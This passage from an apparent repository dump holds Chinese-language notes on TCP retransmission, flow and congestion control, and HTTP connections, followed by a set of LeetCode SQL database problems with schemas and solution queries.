无差错情况:**\n\n![](https://user-gold-cdn.xitu.io/2018/8/16/16541fa8c3816a90?w=514&h=473&f=png&s=9924)\n\n发送方发送分组,接收方在规定时间内收到,并且回复确认.发送方再次发送。\n\n**2) 出现差错情况（超时重传）:**\n![](https://user-gold-cdn.xitu.io/2018/8/16/16541faefdf249ab?w=953&h=480&f=png&s=19163)\n停止等待协议中超时重传是指只要超过一段时间仍然没有收到确认，就重传前面发送过的分组（认为刚才发送过的分组丢失了）。因此每发送完一个分组需要设置一个超时计时器，其重转时间应比数据在分组传输的平均往返时间更长一些。这种自动重传方式常称为 **自动重传请求 ARQ** 。另外在停止等待协议中若收到重复分组，就丢弃该分组，但同时还要发送确认。**连续 ARQ 协议** 可提高信道利用率。发送维持一个发送窗口，凡位于发送窗口内的分组可连续发送出去，而不需要等待对方确认。接收方一般采用累积确认，对按序到达的最后一个分组发送确认，表明到这个分组位置的所有分组都已经正确收到了。\n\n**3) 确认丢失和确认迟到**\n\n- **确认丢失**：确认消息在传输过程丢失\n  ![](https://user-gold-cdn.xitu.io/2018/8/16/16541fb6941a7165?w=918&h=461&f=png&s=19841)\n   当A发送M1消息，B收到后，B向A发送了一个M1确认消息，但却在传输过程中丢失。而A并不知道，在超时计时过后，A重传M1消息，B再次收到该消息后采取以下两点措施：\n\n    1. 丢弃这个重复的M1消息，不向上层交付。\n    2. 向A发送确认消息。（不会认为已经发送过了，就不再发送。A能重传，就证明B的确认消息丢失）。\n- **确认迟到** ：确认消息在传输过程中迟到\n  ![](https://user-gold-cdn.xitu.io/2018/8/16/16541fdd85929e6b?w=899&h=450&f=png&s=23165)\n  A发送M1消息，B收到并发送确认。在超时时间内没有收到确认消息，A重传M1消息，B仍然收到并继续发送确认消息（B收到了2份M1）。此时A收到了B第二次发送的确认消息。接着发送其他数据。过了一会，A收到了B第一次发送的对M1的确认消息（A也收到了2份确认消息）。处理如下：\n    1. A收到重复的确认后，直接丢弃。\n    2. B收到重复的M1后，也直接丢弃重复的M1。\n\n### 自动重传请求 ARQ 协议\n停止等待协议中超时重传是指只要超过一段时间仍然没有收到确认，就重传前面发送过的分组（认为刚才发送过的分组丢失了）。因此每发送完一个分组需要设置一个超时计时器，其重传时间应比数据在分组传输的平均往返时间更长一些。这种自动重传方式常称为自动重传请求ARQ。\n\n**优点：** 简单\n\n**缺点：** 信道利用率低\n\n### 连续ARQ协议\n\n连续 ARQ 协议可提高信道利用率。发送方维持一个发送窗口，凡位于发送窗口内的分组可以连续发送出去，而不需要等待对方确认。接收方一般采用累计确认，对按序到达的最后一个分组发送确认，表明到这个分组为止的所有分组都已经正确收到了。\n\n**优点：** 信道利用率高，容易实现，即使确认丢失，也不必重传。\n \n**缺点：** 不能向发送方反映出接收方已经正确收到的所有分组的信息。 比如：发送方发送了 5条 消息，中间第三条丢失（3号），这时接收方只能对前两个发送确认。发送方无法知道后三个分组的下落，而只好把后三个全部重传一次。这也叫 Go-Back-N（回退 N），表示需要退回来重传已经发送过的 N 个消息。\n\n### 滑动窗口\n\n- TCP 利用滑动窗口实现流量控制的机制。\n- 滑动窗口（Sliding window）是一种流量控制技术。早期的网络通信中，通信双方不会考虑网络的拥挤情况直接发送数据。由于大家不知道网络拥塞状况，同时发送数据，导致中间节点阻塞掉包，谁也发不了数据，所以就有了滑动窗口机制来解决此问题。\n- TCP 中采用滑动窗口来进行传输控制，滑动窗口的大小意味着接收方还有多大的缓冲区可以用于接收数据。发送方可以通过滑动窗口的大小来确定应该发送多少字节的数据。当滑动窗口为 0 时，发送方一般不能再发送数据报，但有两种情况除外，一种情况是可以发送紧急数据，例如，允许用户终止在远端机上的运行进程。另一种情况是发送方可以发送一个 1 字节的数据报来通知接收方重新声明它希望接收的下一字节及发送方的滑动窗口大小。\n\n### 流量控制\n\n- TCP 利用滑动窗口实现流量控制。\n- 流量控制是为了控制发送方发送速率，保证接收方来得及接收。\n- 接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小，从而影响发送方的发送速率。将窗口字段设置为 0，则发送方不能发送数据。\n\n### 拥塞控制\n\n在某段时间，若对网络中某一资源的需求超过了该资源所能提供的可用部分，网络的性能就要变坏。这种情况就叫拥塞。拥塞控制就是为了防止过多的数据注入到网络中，这样就可以使网络中的路由器或链路不致过载。拥塞控制所要做的都有一个前提，就是网络能够承受现有的网络负荷。拥塞控制是一个全局性的过程，涉及到所有的主机，所有的路由器，以及与降低网络传输性能有关的所有因素。相反，流量控制往往是点对点通信量的控制，是个端到端的问题。流量控制所要做到的就是抑制发送端发送数据的速率，以便使接收端来得及接收。\n\n为了进行拥塞控制，TCP 发送方要维持一个 **拥塞窗口(cwnd)** 的状态变量。拥塞控制窗口的大小取决于网络的拥塞程度，并且动态变化。发送方让自己的发送窗口取为拥塞窗口和接收方的接受窗口中较小的一个。\n\nTCP的拥塞控制采用了四种算法，即 **慢开始** 、 **拥塞避免** 、**快重传** 和 **快恢复**。在网络层也可以使路由器采用适当的分组丢弃策略（如主动队列管理 AQM），以减少网络拥塞的发生。\n\n- **慢开始：** 慢开始算法的思路是当主机开始发送数据时，如果立即把大量数据字节注入到网络，那么可能会引起网络阻塞，因为现在还不知道网络的符合情况。经验表明，较好的方法是先探测一下，即由小到大逐渐增大发送窗口，也就是由小到大逐渐增大拥塞窗口数值。cwnd初始值为1，每经过一个传播轮次，cwnd加倍。\n   ![](https://user-gold-cdn.xitu.io/2018/8/10/1652348ada2c8fd0?w=1050&h=560&f=jpeg&s=112611)\n- **拥塞避免：** 拥塞避免算法的思路是让拥塞窗口cwnd缓慢增大，即每经过一个往返时间RTT就把发送放的cwnd加1.\n-  **快重传与快恢复：**\n   在 TCP/IP 中，快速重传和恢复（fast retransmit and recovery，FRR）是一种拥塞控制算法，它能快速恢复丢失的数据包。没有 FRR，如果数据包丢失了，TCP 将会使用定时器来要求传输暂停。在暂停的这段时间内，没有新的或复制的数据包被发送。有了 FRR，如果接收机接收到一个不按顺序的数据段，它会立即给发送机发送一个重复确认。如果发送机接收到三个重复确认，它会假定确认件指出的数据段丢失了，并立即重传这些丢失的数据段。有了 FRR，就不会因为重传时要求的暂停被耽误。 　当有单独的数据包丢失时，快速重传和恢复（FRR）能最有效地工作。当有多个数据信息包在某一段很短的时间内丢失时，它则不能很有效地工作。\n  ![快重传与快恢复](https://user-gold-cdn.xitu.io/2018/8/10/165234f0303d174b?w=1174&h=648&f=png&s=109568)\n\n\n\n## 五  在浏览器中输入url地址 ->> 显示主页的过程（面试常客）\n百度好像最喜欢问这个问题。\n> 打开一个网页，整个过程会使用哪些协议\n\n图解（图片来源：《图解HTTP》）：\n\n![状态码](https://user-gold-cdn.xitu.io/2018/4/19/162db5e985aabdbe?imageView2/0/w/1280/h/960/format/webp/ignore-error/1)\n\n总体来说分为以下几个过程:\n\n1. DNS解析\n2. TCP连接\n3. 发送HTTP请求\n4. 服务器处理请求并返回HTTP报文\n5. 浏览器解析渲染页面\n6. 连接结束\n\n具体可以参考下面这篇文章：\n\n- [https://segmentfault.com/a/1190000006879700](https://segmentfault.com/a/1190000006879700)\n\n\n\n\n## 六 状态码\n\n![状态码](https://user-gold-cdn.xitu.io/2018/5/8/1633e19dba27ed00?w=673&h=218&f=png&s=72968)\n\n\n## 七 各种协议与HTTP协议之间的关系\n一般面试官会通过这样的问题来考察你对计算机网络知识体系的理解。\n\n图片来源：《图解HTTP》\n\n![各种协议与HTTP协议之间的关系](https://user-gold-cdn.xitu.io/2018/5/8/1633ead316d07713?w=841&h=1193&f=png&s=609513)\n\n## 八  HTTP长连接、短连接\n\n在HTTP/1.0中默认使用短连接。也就是说，客户端和服务器每进行一次HTTP操作，就建立一次连接，任务结束就中断连接。当客户端浏览器访问的某个HTML或其他类型的Web页中包含有其他的Web资源（如JavaScript文件、图像文件、CSS文件等），每遇到这样一个Web资源，浏览器就会重新建立一个HTTP会话。\n\n而从HTTP/1.1起，默认使用长连接，用以保持连接特性。使用长连接的HTTP协议，会在响应头加入这行代码：\n\n```\nConnection:keep-alive\n```\n\n在使用长连接的情况下，当一个网页打开完成后，客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭，客户端再次访问这个服务器时，会继续使用这一条已经建立的连接。Keep-Alive不会永久保持连接，它有一个保持时间，可以在不同的服务器软件（如Apache）中设定这个时间。实现长连接需要客户端和服务端都支持长连接。\n\n**HTTP协议的长连接和短连接，实质上是TCP协议的长连接和短连接。** \n\n—— [《HTTP长连接、短连接究竟是什么？》](https://www.cnblogs.com/gotodsp/p/6366163.html)\n\n\n## 写在最后\n### 计算机网络常见问题回顾\n\n- ①TCP三次握手和四次挥手、\n- ②在浏览器中输入url地址->>显示主页的过程\n- ③HTTP和HTTPS的区别\n- ④TCP、UDP协议的区别\n- ⑤常见的状态码。 \n\n### 建议\n非常推荐大家看一下 《图解HTTP》 这本书，这本书页数不多，但是内容很是充实，不管是用来系统的掌握网络方面的一些知识还是说纯粹为了应付面试都有很大帮助。下面的一些文章只是参考。大二学习这门课程的时候，我们使用的教材是 《计算机网络第七版》（谢希仁编著），不推荐大家看这本教材，书非常厚而且知识偏理论，不确定大家能不能心平气和的读完。\n\n\n\n### 参考\n\n- [https://blog.csdn.net/qq_16209077/article/details/52718250](https://blog.csdn.net/qq_16209077/article/details/52718250)\n- [https://blog.csdn.net/zixiaomuwu/article/details/60965466](https://blog.csdn.net/zixiaomuwu/article/details/60965466)\n- [https://blog.csdn.net/turn__back/article/details/73743641](https://blog.csdn.net/turn__back/article/details/73743641)\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/notes/Leetcode-Database 题解.md",
    "content": "<!-- GFM-TOC -->\n* [595. Big Countries](#595-big-countries)\n* [627. Swap Salary](#627-swap-salary)\n* [620. Not Boring Movies](#620-not-boring-movies)\n* [596. Classes More Than 5 Students](#596-classes-more-than-5-students)\n* [182. Duplicate Emails](#182-duplicate-emails)\n* [196. Delete Duplicate Emails](#196-delete-duplicate-emails)\n* [175. Combine Two Tables](#175-combine-two-tables)\n* [181. Employees Earning More Than Their Managers](#181-employees-earning-more-than-their-managers)\n* [183. Customers Who Never Order](#183-customers-who-never-order)\n* [184. Department Highest Salary](#184-department-highest-salary)\n* [176. Second Highest Salary](#176-second-highest-salary)\n* [177. Nth Highest Salary](#177-nth-highest-salary)\n* [178. Rank Scores](#178-rank-scores)\n* [180. Consecutive Numbers](#180-consecutive-numbers)\n* [626. Exchange Seats](#626-exchange-seats)\n<!-- GFM-TOC -->\n\n\n# 595. Big Countries\n\nhttps://leetcode.com/problems/big-countries/description/\n\n## Description\n\n```html\n+-----------------+------------+------------+--------------+---------------+\n| name            | continent  | area       | population   | gdp           |\n+-----------------+------------+------------+--------------+---------------+\n| Afghanistan     | Asia       | 652230     | 25500100     | 20343000      |\n| Albania         | Europe     | 28748      | 2831741      | 12960000      |\n| Algeria         | Africa     | 2381741    | 37100000     | 188681000     |\n| Andorra         | Europe     | 468        | 78115        | 3712000       |\n| Angola          | Africa     | 1246700    | 20609294     | 100990000     |\n+-----------------+------------+------------+--------------+---------------+\n```\n\n查找面积超过 3,000,000 或者人口数超过 25,000,000 的国家。\n\n```html\n+--------------+-------------+--------------+\n| name         | population  | area         |\n+--------------+-------------+--------------+\n| Afghanistan  | 25500100    | 652230       |\n| Algeria      | 37100000    | 2381741      |\n+--------------+-------------+--------------+\n```\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS World;\nCREATE TABLE World ( NAME VARCHAR ( 255 ), continent VARCHAR ( 255 ), area INT, population INT, gdp INT );\nINSERT INTO World ( NAME, continent, area, population, gdp )\nVALUES\n    ( 'Afghanistan', 'Asia', '652230', '25500100', '203430000' ),\n    ( 'Albania', 'Europe', '28748', '2831741', '129600000' ),\n    ( 'Algeria', 'Africa', '2381741', '37100000', '1886810000' ),\n    ( 'Andorra', 'Europe', '468', '78115', '37120000' ),\n    ( 'Angola', 'Africa', '1246700', '20609294', '1009900000' );\n```\n\n## Solution\n\n```sql\nSELECT name,\n    population,\n    area\nFROM\n    World\nWHERE\n    area > 3000000\n    OR population > 25000000;\n```\n\n# 627. Swap Salary\n\nhttps://leetcode.com/problems/swap-salary/description/\n\n## Description\n\n```html\n| id | name | sex | salary |\n|----|------|-----|--------|\n| 1  | A    | m   | 2500   |\n| 2  | B    | f   | 1500   |\n| 3  | C    | m   | 5500   |\n| 4  | D    | f   | 500    |\n```\n\n只用一个 SQL 查询，将 sex 字段反转。\n\n```html\n| id | name | sex | salary |\n|----|------|-----|--------|\n| 1  | A    | f   | 2500   |\n| 2  | B    | m   | 1500   |\n| 3  | C    | f   | 5500   |\n| 4  | D    | m   | 500    |\n```\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS salary;\nCREATE TABLE salary ( id INT, NAME VARCHAR ( 100 ), sex CHAR ( 1 ), salary INT );\nINSERT INTO salary ( id, NAME, sex, salary )\nVALUES\n    ( '1', 'A', 'm', '2500' ),\n    ( '2', 'B', 'f', '1500' ),\n    ( '3', 'C', 'm', '5500' ),\n    ( '4', 'D', 'f', '500' );\n```\n\n## Solution\n\n```sql\nUPDATE salary\nSET sex = CHAR ( ASCII(sex) ^ ASCII( 'm' ) ^ ASCII( 'f' ) );\n```\n\n# 620. Not Boring Movies\n\nhttps://leetcode.com/problems/not-boring-movies/description/\n\n## Description\n\n\n```html\n+---------+-----------+--------------+-----------+\n|   id    | movie     |  description |  rating   |\n+---------+-----------+--------------+-----------+\n|   1     | War       |   great 3D   |   8.9     |\n|   2     | Science   |   fiction    |   8.5     |\n|   3     | irish     |   boring     |   6.2     |\n|   4     | Ice song  |   Fantacy    |   8.6     |\n|   5     | House card|   Interesting|   9.1     |\n+---------+-----------+--------------+-----------+\n```\n\n查找 id 为奇数，并且 description 不是 boring 的电影，按 rating 降序。\n\n```html\n+---------+-----------+--------------+-----------+\n|   id    | movie     |  description |  rating   |\n+---------+-----------+--------------+-----------+\n|   5     | House card|   Interesting|   9.1     |\n|   1     | War       |   great 3D   |   8.9     |\n+---------+-----------+--------------+-----------+\n```\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS cinema;\nCREATE TABLE cinema ( id INT, movie VARCHAR ( 255 ), description VARCHAR ( 255 ), rating FLOAT ( 2, 1 ) );\nINSERT INTO cinema ( id, movie, description, rating )\nVALUES\n    ( 1, 'War', 'great 3D', 8.9 ),\n    ( 2, 'Science', 'fiction', 8.5 ),\n    ( 3, 'irish', 'boring', 6.2 ),\n    ( 4, 'Ice song', 'Fantacy', 8.6 ),\n    ( 5, 'House card', 'Interesting', 9.1 );\n```\n\n## Solution\n\n```sql\nSELECT\n    *\nFROM\n    cinema\nWHERE\n    id % 2 = 1\n    AND description != 'boring'\nORDER BY\n    rating DESC;\n```\n\n# 596. Classes More Than 5 Students\n\nhttps://leetcode.com/problems/classes-more-than-5-students/description/\n\n## Description\n\n```html\n+---------+------------+\n| student | class      |\n+---------+------------+\n| A       | Math       |\n| B       | English    |\n| C       | Math       |\n| D       | Biology    |\n| E       | Math       |\n| F       | Computer   |\n| G       | Math       |\n| H       | Math       |\n| I       | Math       |\n+---------+------------+\n```\n\n查找有五名及以上 student 的 class。\n\n```html\n+---------+\n| class   |\n+---------+\n| Math    |\n+---------+\n```\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS courses;\nCREATE TABLE courses ( student VARCHAR ( 255 ), class VARCHAR ( 255 ) );\nINSERT INTO courses ( student, class )\nVALUES\n    ( 'A', 'Math' ),\n    ( 'B', 'English' ),\n    ( 'C', 'Math' ),\n    ( 'D', 'Biology' ),\n    ( 'E', 'Math' ),\n    ( 'F', 'Computer' ),\n    ( 'G', 'Math' ),\n    ( 'H', 'Math' ),\n    ( 'I', 'Math' );\n```\n\n## Solution\n\n```sql\nSELECT\n    class\nFROM\n    courses\nGROUP BY\n    class\nHAVING\n    count( DISTINCT student ) >= 5;\n```\n\n# 182. Duplicate Emails\n\nhttps://leetcode.com/problems/duplicate-emails/description/\n\n## Description\n\n邮件地址表：\n\n```html\n+----+---------+\n| Id | Email   |\n+----+---------+\n| 1  | a@b.com |\n| 2  | c@d.com |\n| 3  | a@b.com |\n+----+---------+\n```\n\n查找重复的邮件地址：\n\n```html\n+---------+\n| Email   |\n+---------+\n| a@b.com |\n+---------+\n```\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS Person;\nCREATE TABLE Person ( Id INT, Email VARCHAR ( 255 ) );\nINSERT INTO Person ( Id, Email )\nVALUES\n    ( 1, 'a@b.com' ),\n    ( 2, 'c@d.com' ),\n    ( 3, 'a@b.com' );\n```\n\n## Solution\n\n```sql\nSELECT\n    Email\nFROM\n    Person\nGROUP BY\n    Email\nHAVING\n    COUNT( * ) >= 2;\n```\n\n# 196. Delete Duplicate Emails\n\nhttps://leetcode.com/problems/delete-duplicate-emails/description/\n\n## Description\n\n邮件地址表：\n\n```html\n+----+---------+\n| Id | Email   |\n+----+---------+\n| 1  | a@b.com |\n| 2  | c@d.com |\n| 3  | a@b.com |\n+----+---------+\n```\n\n删除重复的邮件地址：\n\n```html\n+----+------------------+\n| Id | Email            |\n+----+------------------+\n| 1  | john@example.com |\n| 2  | bob@example.com  |\n+----+------------------+\n```\n\n## SQL Schema\n\n与 182 相同。\n\n## Solution\n\n连接：\n\n```sql\nDELETE p1\nFROM\n    Person p1,\n    Person p2\nWHERE\n    p1.Email = p2.Email\n    AND p1.Id > p2.Id\n```\n\n子查询：\n\n```sql\nDELETE\nFROM\n    Person\nWHERE\n    id NOT IN ( SELECT id FROM ( SELECT min( id ) AS id FROM Person GROUP BY email ) AS m );\n```\n\n应该注意的是上述解法额外嵌套了一个 SELECT 语句，如果不这么做，会出现错误：You can't specify target table 'Person' for update in FROM clause。以下演示了这种错误解法。\n\n```sql\nDELETE\nFROM\n    Person\nWHERE\n    id NOT IN ( SELECT min( id ) AS id FROM Person GROUP BY email );\n```\n\n参考：[pMySQL Error 1093 - Can't specify target table for update in FROM clause](https://stackoverflow.com/questions/45494/mysql-error-1093-cant-specify-target-table-for-update-in-from-clause)\n\n# 175. Combine Two Tables\n\nhttps://leetcode.com/problems/combine-two-tables/description/\n\n## Description\n\nPerson 表：\n\n```html\n+-------------+---------+\n| Column Name | Type    |\n+-------------+---------+\n| PersonId    | int     |\n| FirstName   | varchar |\n| LastName    | varchar |\n+-------------+---------+\nPersonId is the primary key column for this table.\n```\n\nAddress 表：\n\n```html\n+-------------+---------+\n| Column Name | Type    |\n+-------------+---------+\n| AddressId   | int     |\n| PersonId    | int     |\n| City        | varchar |\n| State       | varchar |\n+-------------+---------+\nAddressId is the primary key column for this table.\n```\n\n查找 FirstName, LastName, City, State 数据，而不管一个用户有没有填地址信息。\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS Person;\nCREATE TABLE Person ( PersonId INT, FirstName VARCHAR ( 255 ), LastName VARCHAR ( 255 ) );\nDROP TABLE\nIF\n    EXISTS Address;\nCREATE TABLE Address ( AddressId INT, PersonId INT, City VARCHAR ( 255 ), State VARCHAR ( 255 ) );\nINSERT INTO Person ( PersonId, LastName, FirstName )\nVALUES\n    ( 1, 'Wang', 'Allen' );\nINSERT INTO Address ( AddressId, PersonId, City, State )\nVALUES\n    ( 1, 2, 'New York City', 'New York' );\n```\n\n## Solution\n\n使用左外连接。\n\n```sql\nSELECT\n    FirstName,\n    LastName,\n    City,\n    State\nFROM\n    Person P\n    LEFT JOIN Address A\n    ON P.PersonId = A.PersonId;\n```\n\n# 181. Employees Earning More Than Their Managers\n\nhttps://leetcode.com/problems/employees-earning-more-than-their-managers/description/\n\n## Description\n\nEmployee 表：\n\n```html\n+----+-------+--------+-----------+\n| Id | Name  | Salary | ManagerId |\n+----+-------+--------+-----------+\n| 1  | Joe   | 70000  | 3         |\n| 2  | Henry | 80000  | 4         |\n| 3  | Sam   | 60000  | NULL      |\n| 4  | Max   | 90000  | NULL      |\n+----+-------+--------+-----------+\n```\n\n查找薪资大于其经理薪资的员工信息。\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS Employee;\nCREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, ManagerId INT );\nINSERT INTO Employee ( Id, NAME, Salary, ManagerId )\nVALUES\n    ( 1, 'Joe', 70000, 3 ),\n    ( 2, 'Henry', 80000, 4 ),\n    ( 3, 'Sam', 60000, NULL ),\n    ( 4, 'Max', 90000, NULL );\n```\n\n## Solution\n\n```sql\nSELECT\n    E1.NAME AS Employee\nFROM\n    Employee E1\n    INNER JOIN Employee E2\n    ON E1.ManagerId = E2.Id\n    AND E1.Salary > E2.Salary;\n```\n\n# 183. Customers Who Never Order\n\nhttps://leetcode.com/problems/customers-who-never-order/description/\n\n## Description\n\nCustomers 表：\n\n```html\n+----+-------+\n| Id | Name  |\n+----+-------+\n| 1  | Joe   |\n| 2  | Henry |\n| 3  | Sam   |\n| 4  | Max   |\n+----+-------+\n```\n\nOrders 表：\n\n```html\n+----+------------+\n| Id | CustomerId |\n+----+------------+\n| 1  | 3          |\n| 2  | 1          |\n+----+------------+\n```\n\n查找没有订单的顾客信息：\n\n```html\n+-----------+\n| Customers |\n+-----------+\n| Henry     |\n| Max       |\n+-----------+\n```\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS Customers;\nCREATE TABLE Customers ( Id INT, NAME VARCHAR ( 255 ) );\nDROP TABLE\nIF\n    EXISTS Orders;\nCREATE TABLE Orders ( Id INT, CustomerId INT );\nINSERT INTO Customers ( Id, NAME )\nVALUES\n    ( 1, 'Joe' ),\n    ( 2, 'Henry' ),\n    ( 3, 'Sam' ),\n    ( 4, 'Max' );\nINSERT INTO Orders ( Id, CustomerId )\nVALUES\n    ( 1, 3 ),\n    ( 2, 1 );\n```\n\n## Solution\n\n左外链接\n\n```sql\nSELECT\n    C.Name AS Customers\nFROM\n    Customers C\n    LEFT JOIN Orders O\n    ON C.Id = O.CustomerId\nWHERE\n    O.CustomerId IS NULL;\n```\n\n子查询\n\n```sql\nSELECT\n    Name AS Customers\nFROM\n    Customers\nWHERE\n    Id NOT IN ( SELECT CustomerId FROM Orders );\n```\n\n# 184. Department Highest Salary\n\nhttps://leetcode.com/problems/department-highest-salary/description/\n\n## Description\n\nEmployee 表：\n\n```html\n+----+-------+--------+--------------+\n| Id | Name  | Salary | DepartmentId |\n+----+-------+--------+--------------+\n| 1  | Joe   | 70000  | 1            |\n| 2  | Henry | 80000  | 2            |\n| 3  | Sam   | 60000  | 2            |\n| 4  | Max   | 90000  | 1            |\n+----+-------+--------+--------------+\n```\n\nDepartment 表：\n\n```html\n+----+----------+\n| Id | Name     |\n+----+----------+\n| 1  | IT       |\n| 2  | Sales    |\n+----+----------+\n```\n\n查找一个 Department 中收入最高者的信息：\n\n```html\n+------------+----------+--------+\n| Department | Employee | Salary |\n+------------+----------+--------+\n| IT         | Max      | 90000  |\n| Sales      | Henry    | 80000  |\n+------------+----------+--------+\n```\n\n## SQL Schema\n\n```sql\nDROP TABLE IF EXISTS Employee;\nCREATE TABLE Employee ( Id INT, NAME VARCHAR ( 255 ), Salary INT, DepartmentId INT );\nDROP TABLE IF EXISTS Department;\nCREATE TABLE Department ( Id INT, NAME VARCHAR ( 255 ) );\nINSERT INTO Employee ( Id, NAME, Salary, DepartmentId )\nVALUES\n    ( 1, 'Joe', 70000, 1 ),\n    ( 2, 'Henry', 80000, 2 ),\n    ( 3, 'Sam', 60000, 2 ),\n    ( 4, 'Max', 90000, 1 );\nINSERT INTO Department ( Id, NAME )\nVALUES\n    ( 1, 'IT' ),\n    ( 2, 'Sales' );\n```\n\n## Solution\n\n创建一个临时表，包含了部门员工的最大薪资。可以对部门进行分组，然后使用 MAX() 汇总函数取得最大薪资。\n\n之后使用连接找到一个部门中薪资等于临时表中最大薪资的员工。\n\n```sql\nSELECT\n    D.NAME Department,\n    E.NAME Employee,\n    E.Salary\nFROM\n    Employee E,\n    Department D,\n    ( SELECT DepartmentId, MAX( Salary ) Salary FROM Employee GROUP BY DepartmentId ) M\nWHERE\n    E.DepartmentId = D.Id\n    AND E.DepartmentId = M.DepartmentId\n    AND E.Salary = M.Salary;\n```\n\n# 176. Second Highest Salary\n\nhttps://leetcode.com/problems/second-highest-salary/description/\n\n## Description\n\n```html\n+----+--------+\n| Id | Salary |\n+----+--------+\n| 1  | 100    |\n| 2  | 200    |\n| 3  | 300    |\n+----+--------+\n```\n\n查找工资第二高的员工。\n\n```html\n+---------------------+\n| SecondHighestSalary |\n+---------------------+\n| 200                 |\n+---------------------+\n```\n\n没有找到返回 null 而不是不返回数据。\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS Employee;\nCREATE TABLE Employee ( Id INT, Salary INT );\nINSERT INTO Employee ( Id, Salary )\nVALUES\n    ( 1, 100 ),\n    ( 2, 200 ),\n    ( 3, 300 );\n```\n\n## Solution\n\n为了在没有查找到数据时返回 null，需要在查询结果外面再套一层 SELECT。\n\n```sql\nSELECT\n    ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT 1, 1 ) SecondHighestSalary;\n```\n\n# 177. Nth Highest Salary\n\n## Description\n\n查找工资第 N 高的员工。\n\n## SQL Schema\n\n同 176。\n\n## Solution\n\n```sql\nCREATE FUNCTION getNthHighestSalary ( N INT ) RETURNS INT BEGIN\n\nSET N = N - 1;\nRETURN ( SELECT ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT N, 1 ) );\n\nEND\n```\n\n# 178. Rank Scores\n\nhttps://leetcode.com/problems/rank-scores/description/\n\n## Description\n\n得分表：\n\n```html\n+----+-------+\n| Id | Score |\n+----+-------+\n| 1  | 3.50  |\n| 2  | 3.65  |\n| 3  | 4.00  |\n| 4  | 3.85  |\n| 5  | 4.00  |\n| 6  | 3.65  |\n+----+-------+\n```\n\n将得分排序，并统计排名。\n\n```html\n+-------+------+\n| Score | Rank |\n+-------+------+\n| 4.00  | 1    |\n| 4.00  | 1    |\n| 3.85  | 2    |\n| 3.65  | 3    |\n| 3.65  | 3    |\n| 3.50  | 4    |\n+-------+------+\n```\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS Scores;\nCREATE TABLE Scores ( Id INT, Score DECIMAL ( 3, 2 ) );\nINSERT INTO Scores ( Id, Score )\nVALUES\n    ( 1, 3.5 ),\n    ( 2, 3.65 ),\n    ( 3, 4.0 ),\n    ( 4, 3.85 ),\n    ( 5, 4.0 ),\n    ( 6, 3.65 );\n```\n\n## Solution\n\n```sql\nSELECT\n    S1.score,\n    COUNT( DISTINCT S2.score ) Rank\nFROM\n    Scores S1\n    INNER JOIN Scores S2\n    ON S1.score <= S2.score\nGROUP BY\n    S1.id\nORDER BY\n    S1.score DESC;\n```\n\n# 180. Consecutive Numbers\n\nhttps://leetcode.com/problems/consecutive-numbers/description/\n\n## Description\n\n数字表：\n\n```html\n+----+-----+\n| Id | Num |\n+----+-----+\n| 1  |  1  |\n| 2  |  1  |\n| 3  |  1  |\n| 4  |  2  |\n| 5  |  1  |\n| 6  |  2  |\n| 7  |  2  |\n+----+-----+\n```\n\n查找连续出现三次的数字。\n\n```html\n+-----------------+\n| ConsecutiveNums |\n+-----------------+\n| 1               |\n+-----------------+\n```\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS LOGS;\nCREATE TABLE LOGS ( Id INT, Num INT );\nINSERT INTO LOGS ( Id, Num )\nVALUES\n    ( 1, 1 ),\n    ( 2, 1 ),\n    ( 3, 1 ),\n    ( 4, 2 ),\n    ( 5, 1 ),\n    ( 6, 2 ),\n    ( 7, 2 );\n```\n\n## Solution\n\n```sql\nSELECT\n    DISTINCT L1.num ConsecutiveNums\nFROM\n    Logs L1,\n    Logs L2,\n    Logs L3\nWHERE L1.id = l2.id - 1\n    AND L2.id = L3.id - 1\n    AND L1.num = L2.num\n    AND l2.num = l3.num;\n```\n\n# 626. Exchange Seats\n\nhttps://leetcode.com/problems/exchange-seats/description/\n\n## Description\n\nseat 表存储着座位对应的学生。\n\n```html\n+---------+---------+\n|    id   | student |\n+---------+---------+\n|    1    | Abbot   |\n|    2    | Doris   |\n|    3    | Emerson |\n|    4    | Green   |\n|    5    | Jeames  |\n+---------+---------+\n```\n\n要求交换相邻座位的两个学生，如果最后一个座位是奇数，那么不交换这个座位上的学生。\n\n```html\n+---------+---------+\n|    id   | student |\n+---------+---------+\n|    1    | Doris   |\n|    2    | Abbot   |\n|    3    | Green   |\n|    4    | Emerson |\n|    5    | Jeames  |\n+---------+---------+\n```\n\n## SQL Schema\n\n```sql\nDROP TABLE\nIF\n    EXISTS seat;\nCREATE TABLE seat ( id INT, student VARCHAR ( 255 ) );\nINSERT INTO seat ( id, student )\nVALUES\n    ( '1', 'Abbot' ),\n    ( '2', 'Doris' ),\n    ( '3', 'Emerson' ),\n    ( '4', 'Green' ),\n    ( '5', 'Jeames' );\n```\n\n## Solution\n\n使用多个 union。\n\n```sql\nSELECT\n    s1.id - 1 AS id,\n    s1.student\nFROM\n    seat s1\nWHERE\n    s1.id MOD 2 = 0 UNION\nSELECT\n    s2.id + 1 AS id,\n    s2.student\nFROM\n    seat s2\nWHERE\n    s2.id MOD 2 = 1\n    AND s2.id != ( SELECT max( s3.id ) FROM seat s3 ) UNION\nSELECT\n    s4.id AS id,\n    s4.student\nFROM\n    seat s4\nWHERE\n    s4.id MOD 2 = 1\n    AND s4.id = ( SELECT max( s5.id ) FROM seat s5 )\nORDER BY\n    id;\n```\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 